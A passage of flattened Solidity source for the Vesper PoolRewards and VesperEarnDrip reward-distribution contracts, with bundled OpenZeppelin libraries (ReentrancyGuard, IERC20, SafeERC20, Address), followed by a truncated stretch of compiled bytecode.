* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IAddressList {
function add(address a) external returns (bool);
function addValue(address a, uint256 v) external returns (bool);
function addMulti(address[] calldata addrs) external returns (uint256);
function addValueMulti(address[] calldata addrs, uint256[] calldata values) external returns (uint256);
function remove(address a) external returns (bool);
function removeMulti(address[] calldata addrs) external returns (uint256);
function get(address a) external view returns (uint256);
function contains(address a) external view returns (bool);
function at(uint256 index) external view returns (address, uint256);
function length() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface TokenLike is IERC20 {
function deposit() external payable;
function withdraw(uint256) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IPoolRewards {
/// Emitted after reward added
event RewardAdded(address indexed rewardToken, uint256 reward, uint256 rewardDuration);
/// Emitted whenever any user claim rewards
event RewardPaid(address indexed user, address indexed rewardToken, uint256 reward);
/// Emitted after adding new rewards token into rewardTokens array
event RewardTokenAdded(address indexed rewardToken, address[] existingRewardTokens);
function claimReward(address) external;
function notifyRewardAmount(
address _rewardToken,
uint256 _rewardAmount,
uint256 _rewardDuration
) external;
function notifyRewardAmount(
address[] memory _rewardTokens,
uint256[] memory _rewardAmounts,
uint256[] memory _rewardDurations
) external;
function updateReward(address) external;
function claimable(address _account)
external
view
returns (address[] memory _rewardTokens, uint256[] memory _claimableAmounts);
function lastTimeRewardApplicable(address _rewardToken) external view returns (uint256);
function rewardForDuration()
external
view
returns (address[] memory _rewardTokens, uint256[] memory _rewardForDuration);
function rewardPerToken()
external
view
returns (address[] memory _rewardTokens, uint256[] memory _rewardPerTokenRate);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../bloq/IAddressList.sol";
interface IVesperPool is IERC20 {
function deposit() external payable;
function deposit(uint256 _share) external;
function multiTransfer(address[] memory _recipients, uint256[] memory _amounts) external returns (bool);
function excessDebt(address _strategy) external view returns (uint256);
function permit(
address,
address,
uint256,
uint256,
uint8,
bytes32,
bytes32
) external;
function poolRewards() external returns (address);
function reportEarning(
uint256 _profit,
uint256 _loss,
uint256 _payback
) external;
function reportLoss(uint256 _loss) external;
function resetApproval() external;
function sweepERC20(address _fromToken) external;
function withdraw(uint256 _amount) external;
function withdrawETH(uint256 _amount) external;
function whitelistedWithdraw(uint256 _amount) external;
function governor() external view returns (address);
function keepers() external view returns (IAddressList);
function maintainers() external view returns (IAddressList);
function feeCollector() external view returns (address);
function pricePerShare() external view returns (uint256);
function strategy(address _strategy)
external
view
returns (
bool _active,
uint256 _interestFee,
uint256 _debtRate,
uint256 _lastRebalance,
uint256 _totalDebt,
uint256 _totalLoss,
uint256 _totalProfit,
uint256 _debtRatio
);
function stopEverything() external view returns (bool);
function token() external view returns (IERC20);
function tokensHere() external view returns (uint256);
function totalDebtOf(address _strategy) external view returns (uint256);
function totalValue() external view returns (uint256);
function withdrawFee() external view returns (uint256);
// Function to get pricePerShare from V2 pools
function getPricePerShare() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../interfaces/vesper/IPoolRewards.sol";
import "../interfaces/vesper/IVesperPool.sol";
contract PoolRewardsStorage {
/// Vesper pool address
address public pool;
/// Array of reward token addresses
address[] public rewardTokens;
/// Reward token to valid/invalid flag mapping
mapping(address => bool) public isRewardToken;
/// Reward token to period ending of current reward
mapping(address => uint256) public periodFinish;
/// Reward token to current reward rate mapping
mapping(address => uint256) public rewardRates;
/// Reward token to Duration of current reward distribution
mapping(address => uint256) public rewardDuration;
/// Reward token to Last reward drip update time stamp mapping
mapping(address => uint256) public lastUpdateTime;
/// Reward token to Reward per token mapping. Calculated and stored at last drip update
mapping(address => uint256) public rewardPerTokenStored;
/// Reward token => User => Reward per token stored at last reward update
mapping(address => mapping(address => uint256)) public userRewardPerTokenPaid;
/// RewardToken => User => Rewards earned till last reward update
mapping(address => mapping(address => uint256)) public rewards;
}
/// @title Distribute rewards based on vesper pool balance and supply
contract PoolRewards is Initializable, IPoolRewards, ReentrancyGuard, PoolRewardsStorage {
string public constant VERSION = "3.0.23";
using SafeERC20 for IERC20;
/**
* @dev Called by proxy to initialize this contract
* @param _pool Vesper pool address
* @param _rewardTokens Array of reward token addresses
*/
function initialize(address _pool, address[] memory _rewardTokens) public initializer {
require(_pool != address(0), "pool-address-is-zero");
require(_rewardTokens.length != 0, "invalid-reward-tokens");
pool = _pool;
rewardTokens = _rewardTokens;
for (uint256 i = 0; i < _rewardTokens.length; i++) {
isRewardToken[_rewardTokens[i]] = true;
}
}
modifier onlyAuthorized() {
require(msg.sender == IVesperPool(pool).governor(), "not-authorized");
_;
}
/**
* @notice Notify that reward is added. Only authorized caller can call
* @dev Also updates reward rate and reward earning period.
* @param _rewardTokens Tokens being rewarded
* @param _rewardAmounts Rewards amount for token on same index in rewardTokens array
* @param _rewardDurations Duration for which reward will be distributed
*/
function notifyRewardAmount(
address[] memory _rewardTokens,
uint256[] memory _rewardAmounts,
uint256[] memory _rewardDurations
) external virtual override onlyAuthorized {
_notifyRewardAmount(_rewardTokens, _rewardAmounts, _rewardDurations, IERC20(pool).totalSupply());
}
function notifyRewardAmount(
address _rewardToken,
uint256 _rewardAmount,
uint256 _rewardDuration
) external virtual override onlyAuthorized {
_notifyRewardAmount(_rewardToken, _rewardAmount, _rewardDuration, IERC20(pool).totalSupply());
}
/// @notice Add new reward token in existing rewardsToken array
function addRewardToken(address _newRewardToken) external onlyAuthorized {
require(_newRewardToken != address(0), "reward-token-address-zero");
require(!isRewardToken[_newRewardToken], "reward-token-already-exist");
emit RewardTokenAdded(_newRewardToken, rewardTokens);
rewardTokens.push(_newRewardToken);
isRewardToken[_newRewardToken] = true;
}
/**
* @notice Claim earned rewards.
* @dev This function will claim rewards for all tokens being rewarded
*/
function claimReward(address _account) external virtual override nonReentrant {
uint256 _totalSupply = IERC20(pool).totalSupply();
uint256 _balance = IERC20(pool).balanceOf(_account);
uint256 _len = rewardTokens.length;
for (uint256 i = 0; i < _len; i++) {
address _rewardToken = rewardTokens[i];
_updateReward(_rewardToken, _account, _totalSupply, _balance);
// Claim rewards
uint256 _reward = rewards[_rewardToken][_account];
if (_reward != 0 && _reward <= IERC20(_rewardToken).balanceOf(address(this))) {
_claimReward(_rewardToken, _account, _reward);
emit RewardPaid(_account, _rewardToken, _reward);
}
}
}
/**
* @notice Updated reward for given account.
*/
function updateReward(address _account) external override {
uint256 _totalSupply = IERC20(pool).totalSupply();
uint256 _balance = IERC20(pool).balanceOf(_account);
uint256 _len = rewardTokens.length;
for (uint256 i = 0; i < _len; i++) {
_updateReward(rewardTokens[i], _account, _totalSupply, _balance);
}
}
/**
* @notice Returns claimable reward amount.
* @return _rewardTokens Array of tokens being rewarded
* @return _claimableAmounts Array of claimable for token on same index in rewardTokens
*/
function claimable(address _account)
external
view
virtual
override
returns (address[] memory _rewardTokens, uint256[] memory _claimableAmounts)
{
uint256 _totalSupply = IERC20(pool).totalSupply();
uint256 _balance = IERC20(pool).balanceOf(_account);
uint256 _len = rewardTokens.length;
_claimableAmounts = new uint256[](_len);
for (uint256 i = 0; i < _len; i++) {
_claimableAmounts[i] = _claimable(rewardTokens[i], _account, _totalSupply, _balance);
}
_rewardTokens = rewardTokens;
}
/// @notice Provides easy access to all rewardTokens
function getRewardTokens() external view returns (address[] memory) {
return rewardTokens;
}
/// @notice Returns timestamp of last reward update
function lastTimeRewardApplicable(address _rewardToken) public view override returns (uint256) {
return block.timestamp < periodFinish[_rewardToken] ? block.timestamp : periodFinish[_rewardToken];
}
function rewardForDuration()
external
view
override
returns (address[] memory _rewardTokens, uint256[] memory _rewardForDuration)
{
uint256 _len = rewardTokens.length;
_rewardForDuration = new uint256[](_len);
for (uint256 i = 0; i < _len; i++) {
_rewardForDuration[i] = rewardRates[rewardTokens[i]] * rewardDuration[rewardTokens[i]];
}
_rewardTokens = rewardTokens;
}
/**
* @notice Rewards rate per pool token
* @return _rewardTokens Array of tokens being rewarded
* @return _rewardPerTokenRate Array of Rewards rate for token on same index in rewardTokens
*/
function rewardPerToken()
external
view
override
returns (address[] memory _rewardTokens, uint256[] memory _rewardPerTokenRate)
{
uint256 _totalSupply = IERC20(pool).totalSupply();
uint256 _len = rewardTokens.length;
_rewardPerTokenRate = new uint256[](_len);
for (uint256 i = 0; i < _len; i++) {
_rewardPerTokenRate[i] = _rewardPerToken(rewardTokens[i], _totalSupply);
}
_rewardTokens = rewardTokens;
}
function _claimable(
address _rewardToken,
address _account,
uint256 _totalSupply,
uint256 _balance
) internal view returns (uint256) {
uint256 _rewardPerTokenAvailable =
_rewardPerToken(_rewardToken, _totalSupply) - userRewardPerTokenPaid[_rewardToken][_account];
uint256 _rewardsEarnedSinceLastUpdate = (_balance * _rewardPerTokenAvailable) / 1e18;
return rewards[_rewardToken][_account] + _rewardsEarnedSinceLastUpdate;
}
function _claimReward(
address _rewardToken,
address _account,
uint256 _reward
) internal virtual {
// Mark reward as claimed
rewards[_rewardToken][_account] = 0;
// Transfer reward
IERC20(_rewardToken).safeTransfer(_account, _reward);
}
// There are scenarios when extending contract will override external methods and
// end up calling internal function. Hence providing internal functions
function _notifyRewardAmount(
address[] memory _rewardTokens,
uint256[] memory _rewardAmounts,
uint256[] memory _rewardDurations,
uint256 _totalSupply
) internal {
uint256 _len = _rewardTokens.length;
uint256 _amountsLen = _rewardAmounts.length;
uint256 _durationsLen = _rewardDurations.length;
require(_len != 0, "invalid-reward-tokens");
require(_amountsLen != 0, "invalid-reward-amounts");
require(_durationsLen != 0, "invalid-reward-durations");
require(_len == _amountsLen && _len == _durationsLen, "array-length-mismatch");
for (uint256 i = 0; i < _len; i++) {
_notifyRewardAmount(_rewardTokens[i], _rewardAmounts[i], _rewardDurations[i], _totalSupply);
}
}
function _notifyRewardAmount(
address _rewardToken,
uint256 _rewardAmount,
uint256 _rewardDuration,
uint256 _totalSupply
) internal {
require(_rewardToken != address(0), "incorrect-reward-token");
require(_rewardAmount != 0, "incorrect-reward-amount");
require(_rewardDuration != 0, "incorrect-reward-duration");
require(isRewardToken[_rewardToken], "invalid-reward-token");
// Update rewards earned so far
rewardPerTokenStored[_rewardToken] = _rewardPerToken(_rewardToken, _totalSupply);
if (block.timestamp >= periodFinish[_rewardToken]) {
rewardRates[_rewardToken] = _rewardAmount / _rewardDuration;
} else {
uint256 remainingPeriod = periodFinish[_rewardToken] - block.timestamp;
uint256 leftover = remainingPeriod * rewardRates[_rewardToken];
rewardRates[_rewardToken] = (_rewardAmount + leftover) / _rewardDuration;
}
// Safety check
uint256 balance = IERC20(_rewardToken).balanceOf(address(this));
require(rewardRates[_rewardToken] <= (balance / _rewardDuration), "rewards-too-high");
// Start new drip time
rewardDuration[_rewardToken] = _rewardDuration;
lastUpdateTime[_rewardToken] = block.timestamp;
periodFinish[_rewardToken] = block.timestamp + _rewardDuration;
emit RewardAdded(_rewardToken, _rewardAmount, _rewardDuration);
}
function _rewardPerToken(address _rewardToken, uint256 _totalSupply) internal view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored[_rewardToken];
}
uint256 _timeSinceLastUpdate = lastTimeRewardApplicable(_rewardToken) - lastUpdateTime[_rewardToken];
uint256 _rewardsSinceLastUpdate = _timeSinceLastUpdate * rewardRates[_rewardToken];
uint256 _rewardsPerTokenSinceLastUpdate = (_rewardsSinceLastUpdate * 1e18) / _totalSupply;
return rewardPerTokenStored[_rewardToken] + _rewardsPerTokenSinceLastUpdate;
}
function _updateReward(
address _rewardToken,
address _account,
uint256 _totalSupply,
uint256 _balance
) internal {
uint256 _rewardPerTokenStored = _rewardPerToken(_rewardToken, _totalSupply);
rewardPerTokenStored[_rewardToken] = _rewardPerTokenStored;
lastUpdateTime[_rewardToken] = lastTimeRewardApplicable(_rewardToken);
if (_account != address(0)) {
rewards[_rewardToken][_account] = _claimable(_rewardToken, _account, _totalSupply, _balance);
userRewardPerTokenPaid[_rewardToken][_account] = _rewardPerTokenStored;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "../PoolRewards.sol";
import "../../interfaces/vesper/IVesperPool.sol";
import "../../interfaces/token/IToken.sol";
contract VesperEarnDrip is PoolRewards {
TokenLike internal constant WETH = TokenLike(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
using SafeERC20 for IERC20;
event DripRewardPaid(address indexed user, address indexed rewardToken, uint256 reward);
event GrowTokenUpdated(address indexed oldGrowToken, address indexed newGrowToken);
address public growToken;
receive() external payable {
require(msg.sender == address(WETH), "deposits-not-allowed");
}
/**
* @notice Returns claimable reward amount.
* @dev In case of growToken it will return the actual underlying value
* @return _rewardTokens Array of tokens being rewarded
* @return _claimableAmounts Array of claimable for token on same index in rewardTokens
*/
function claimable(address _account)
external
view
override
returns (address[] memory _rewardTokens, uint256[] memory _claimableAmounts)
{
uint256 _totalSupply = IERC20(pool).totalSupply();
uint256 _balance = IERC20(pool).balanceOf(_account);
uint256 _len = rewardTokens.length;
_claimableAmounts = new uint256[](_len);
for (uint256 i = 0; i < _len; i++) {
uint256 _claimableAmount = _claimable(rewardTokens[i], _account, _totalSupply, _balance);
if (rewardTokens[i] == growToken) {
_claimableAmount = _calculateRewardInDripToken(growToken, _claimableAmount);
}
_claimableAmounts[i] = _claimableAmount;
}
_rewardTokens = rewardTokens;
}
/**
* @dev Notify that reward is added.
* Also updates reward rate and reward earning period.
*/
function notifyRewardAmount(
address _rewardToken,
uint256 _rewardAmount,
uint256 _rewardDuration
) external override {
(bool isStrategy, , , , , , , ) = IVesperPool(pool).strategy(msg.sender);
require(
msg.sender == IVesperPool(pool).governor() || (isRewardToken[_rewardToken] && isStrategy),
"not-authorized"
);
super._notifyRewardAmount(_rewardToken, _rewardAmount, _rewardDuration, IVesperPool(pool).totalSupply());
}
/**
* @notice Defines which rewardToken is a growToken
* @dev growToken is used to check whether to call withdraw
* from Grow Pool or not
*/
function updateGrowToken(address _newGrowToken) external onlyAuthorized {
require(_newGrowToken != address(0), "grow-token-address-zero");
require(isRewardToken[_newGrowToken], "grow-token-not-reward-token");
emit GrowTokenUpdated(growToken, _newGrowToken);
growToken = _newGrowToken;
}
/**
* @notice Claim earned rewards in dripToken.
* @dev Withdraws from the Grow Pool and transfers the amount to _account
* @dev Claim rewards only if reward in dripToken is non zero
*/
function _claimReward(
address _rewardToken,
address _account,
uint256 _reward
) internal override {
if (_rewardToken == growToken) {
// Calculate reward in drip token
uint256 _rewardInDripToken = _calculateRewardInDripToken(_rewardToken, _reward);
// If reward in drip token is non zero
if (_rewardInDripToken != 0) {
// Mark reward as claimed
rewards[_rewardToken][_account] = 0;
// Automatically unwraps the Grow Pool token AKA _rewardToken into the dripToken
IERC20 _dripToken = IVesperPool(_rewardToken).token();
uint256 _dripBalanceBefore = _dripToken.balanceOf(address(this));
IVesperPool(_rewardToken).withdraw(_reward);
uint256 _dripTokenAmount = _dripToken.balanceOf(address(this)) - _dripBalanceBefore;
if (address(_dripToken) == address(WETH)) {
WETH.withdraw(_dripTokenAmount);
Address.sendValue(payable(_account), _dripTokenAmount);
} else {
_dripToken.safeTransfer(_account, _dripTokenAmount);
}
emit DripRewardPaid(_account, address(_dripToken), _dripTokenAmount);
}
} else {
// Behave as normal PoolRewards, no unwrap needed
super._claimReward(_rewardToken, _account, _reward);
}
}
/// @dev Here _rewardToken AKA growToken is Vesper Grow Pool which can be V2 or V3 pool.
/// V2 and V3 pool has different signature to read price per share
function _calculateRewardInDripToken(address _rewardToken, uint256 _reward) private view returns (uint256) {
uint256 _pricePerShare;
// Try reading price per share using V3 pool signature, if this fails catch block will execute
try IVesperPool(_rewardToken).pricePerShare() returns (uint256 _pricePerShareV3) {
_pricePerShare = _pricePerShareV3;
} catch {
// If try fails, read price per share using V2 pool signature
_pricePerShare = IVesperPool(_rewardToken).getPricePerShare();
}
// Calculate reward in dripToken, as _reward is share of Grow Pool AKA growToken AKA _rewardToken
return (_pricePerShare * _reward) / 1e18;
}
} | 0x60806040526004361061014f5760003560e01c80639ce43f90116100b6578063d279c1911161006f578063d279c1911461047e578063da09d19d1461049e578063e49e463b146104cb578063e70b9e27146104eb578063e9c5448814610523578063ffa1ad7414610550576101b5565b80639ce43f901461039a578063a3cd8ac4146103c7578063b5fd73f8146103e7578063bcd68eb614610427578063c4f59f9b14610447578063cd3daf9d14610469576101b5565b8063638634ee11610108578063638634ee146102cd5780636946a235146102ed5780637035ab9814610302578063779158231461033a5780637bb7bed11461035a578063946d92041461037a576101b5565b806316f0115b146101ba5780631c03e6cc146101f75780632ce9aead146102175780633d3b260314610252578063402914f51461027f578063632447c9146102ad576101b5565b366101b5573373c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2146101b35760405162461bcd60e51b815260206004820152601460248201527319195c1bdcda5d1ccb5b9bdd0b585b1b1bddd95960621b60448201526064015b60405180910390fd5b005b600080fd5b3480156101c657600080fd5b506002546101da906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561020357600080fd5b506101b3610212366004612b12565b61058f565b34801561022357600080fd5b50610244610232366004612b12565b60086020526000908152604090205481565b6040519081526020016101ee565b34801561025e57600080fd5b5061024461026d366004612b12565b60066020526000908152604090205481565b34801561028b57600080fd5b5061029f61029a366004612b12565b6107ad565b6040516101ee929190612da9565b3480156102b957600080fd5b506101b36102c8366004612b12565b610a6f565b3480156102d957600080fd5b506102446102e8366004612b12565b610bda565b3480156102f957600080fd5b5061029f610c21565b34801561030e57600080fd5b5061024461031d366004612b4a565b600a60209081526000928352604080842090915290825290205481565b34801561034657600080fd5b506101b3610355366004612b12565b610ddf565b34801561036657600080fd5b506101da610375366004612d07565b610faf565b34801561038657600080fd5b506101b3610395366004612b82565b610fd9565b3480156103a657600080fd5b506102446103b5366004612b12565b60096020526000908152604090205481565b3480156103d357600080fd5b506101b36103e2366004612bd0565b6111c7565b3480156103f357600080fd5b50610417610402366004612b12565b60046020526000908152604090205460ff1681565b60405190151581526020016101ee565b34801561043357600080fd5b506101b3610442366004612c04565b6113c5565b34801561045357600080fd5b5061045c61150c565b6040516101ee9190612d96565b34801561047557600080fd5b5061029f61156e565b34801561048a57600080fd5b506101b3610499366004612b12565b61173d565b3480156104aa57600080fd5b506102446104b9366004612b12565b60056020526000908152604090205481565b3480156104d757600080fd5b50600c546101da906001600160a01b031681565b3480156104f757600080fd5b50610244610506366004612b4a565b600b60209081526000928352604080842090915290825290205481565b34801561052f57600080fd5b5061024461053e366004612b12565b60076020526000908152604090205481565b34801561055c57600080fd5b5061058260405180604001604052806006815260200165332e302e323360d01b81525081565b6040516101ee9190612e42565b600260009054906101000a90046001600160a01b03166001600160a01b0316630c340a246040518163ffffffff1660e01b815260040160206040518083038186803b1580156105dd57600080fd5b505afa1580156105f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106159190612b2e565b6001600160a01b0316336001600160a01b0316146106455760405162461bcd60e51b81526004016101aa90612e75565b6001600160a01b03811661069b5760405162461bcd60e51b815260206004820152601960248201527f7265776172642d746f6b656e2d616464726573732d7a65726f0000000000000060448201526064016101aa565b6001600160a01b03811660009081526004602052604090205460ff16156107045760405162461bcd60e51b815260206004820152601a60248201527f7265776172642d746f6b656e2d616c72656164792d657869737400000000000060448201526064016101aa565b806001600160a01b03167f438dc3ee1ea07ec168befb145c10eb363aad7cbec063f8a006b032031582ac2b600360405161073e9190612df2565b60405180910390a26003805460018181019092557fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446